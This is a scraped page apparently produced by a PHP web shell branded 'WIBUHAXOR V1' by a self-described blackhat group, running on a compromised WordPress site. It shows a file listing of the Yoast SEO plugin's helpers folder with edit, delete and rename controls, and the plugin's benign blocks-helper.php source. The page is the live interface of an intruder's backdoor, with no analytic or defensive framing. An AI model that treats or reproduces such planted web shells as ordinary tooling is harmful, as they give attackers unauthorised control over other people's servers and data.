-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
helpers
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
open-graph
--
NONE
schema
--
NONE
twitter
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
asset-helper.php
2.52KB
Edit File
Delete File
Rename
author-archive-helper.php
3.448KB
Edit File
Delete File
Rename
blocks-helper.php
2.263KB
Edit File
Delete File
Rename
capability-helper.php
2.066KB
Edit File
Delete File
Rename
current-page-helper.php
11.897KB
Edit File
Delete File
Rename
date-helper.php
3.133KB
Edit File
Delete File
Rename
environment-helper.php
0.582KB
Edit File
Delete File
Rename
home-url-helper.php
0.752KB
Edit File
Delete File
Rename
image-helper.php
9.991KB
Edit File
Delete File
Rename
indexing-helper.php
9.237KB
Edit File
Delete File
Rename
input-helper.php
0.646KB
Edit File
Delete File
Rename
language-helper.php
1.847KB
Edit File
Delete File
Rename
meta-helper.php
2.912KB
Edit File
Delete File
Rename
notification-helper.php
0.533KB
Edit File
Delete File
Rename
options-helper.php
3.143KB
Edit File
Delete File
Rename
pagination-helper.php
3.474KB
Edit File
Delete File
Rename
permalink-helper.php
1.256KB
Edit File
Delete File
Rename
post-helper.php
4.96KB
Edit File
Delete File
Rename
post-type-helper.php
3.438KB
Edit File
Delete File
Rename
primary-term-helper.php
1.366KB
Edit File
Delete File
Rename
product-helper.php
0.95KB
Edit File
Delete File
Rename
redirect-helper.php
1.424KB
Edit File
Delete File
Rename
request-helper.php
0.344KB
Edit File
Delete File
Rename
require-file-helper.php
0.298KB
Edit File
Delete File
Rename
robots-helper.php
0.514KB
Edit File
Delete File
Rename
sanitization-helper.php
1.031KB
Edit File
Delete File
Rename
short-link-helper.php
3.296KB
Edit File
Delete File
Rename
site-helper.php
0.553KB
Edit File
Delete File
Rename
string-helper.php
1.189KB
Edit File
Delete File
Rename
taxonomy-helper.php
3.036KB
Edit File
Delete File
Rename
url-helper.php
5.857KB
Edit File
Delete File
Rename
user-helper.php
3.675KB
Edit File
Delete File
Rename
woocommerce-helper.php
0.858KB
Edit File
Delete File
Rename
wordpress-helper.php
0.5KB
Edit File
Delete File
Rename
wpdb-helper.php
0.924KB
Edit File
Delete File
Rename
<?php namespace Yoast\WP\SEO\Helpers; use WP_Block_Parser_Block; /** * A helper object for blocks. */ class Blocks_Helper { /** * Holds the Post_Helper instance. * * @var Post_Helper */ private $post; /** * Constructs a Blocks_Helper instance. * * @codeCoverageIgnore It handles dependencies. * * @param Post_Helper $post The post helper. */ public function __construct( Post_Helper $post ) { $this->post = $post; } /** * Returns all blocks in a given post. * * @param int $post_id The post id. * * @return array The blocks in a block-type => WP_Block_Parser_Block[] format. */ public function get_all_blocks_from_post( $post_id ) { if ( ! $this->has_blocks_support() ) { return []; } $post = $this->post->get_post( $post_id ); return $this->get_all_blocks_from_content( $post->post_content ); } /** * Returns all blocks in a given content. * * @param string $content The content. * * @return array The blocks in a block-type => WP_Block_Parser_Block[] format. */ public function get_all_blocks_from_content( $content ) { if ( ! $this->has_blocks_support() ) { return []; } $collection = []; $blocks = \parse_blocks( $content ); return $this->collect_blocks( $blocks, $collection ); } /** * Checks if the installation has blocks support. * * @codeCoverageIgnore It only checks if a WordPress function exists. * * @return bool True when function parse_blocks exists. */ protected function has_blocks_support() { return \function_exists( 'parse_blocks' ); } /** * Collects an array of blocks into an organised collection. * * @param WP_Block_Parser_Block[] $blocks The blocks. * @param array $collection The collection. * * @return array The blocks in a block-type => WP_Block_Parser_Block[] format. */ private function collect_blocks( $blocks, $collection ) { foreach ( $blocks as $block ) { if ( ! isset( $collection[ $block['blockName'] ] ) || ! \is_array( $collection[ $block['blockName'] ] ) ) { $collection[ $block['blockName'] ] = []; } $collection[ $block['blockName'] ][] = $block; if ( isset( $block['innerBlocks'] ) ) { $collection = $this->collect_blocks( $block['innerBlocks'], $collection ); } } return $collection; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat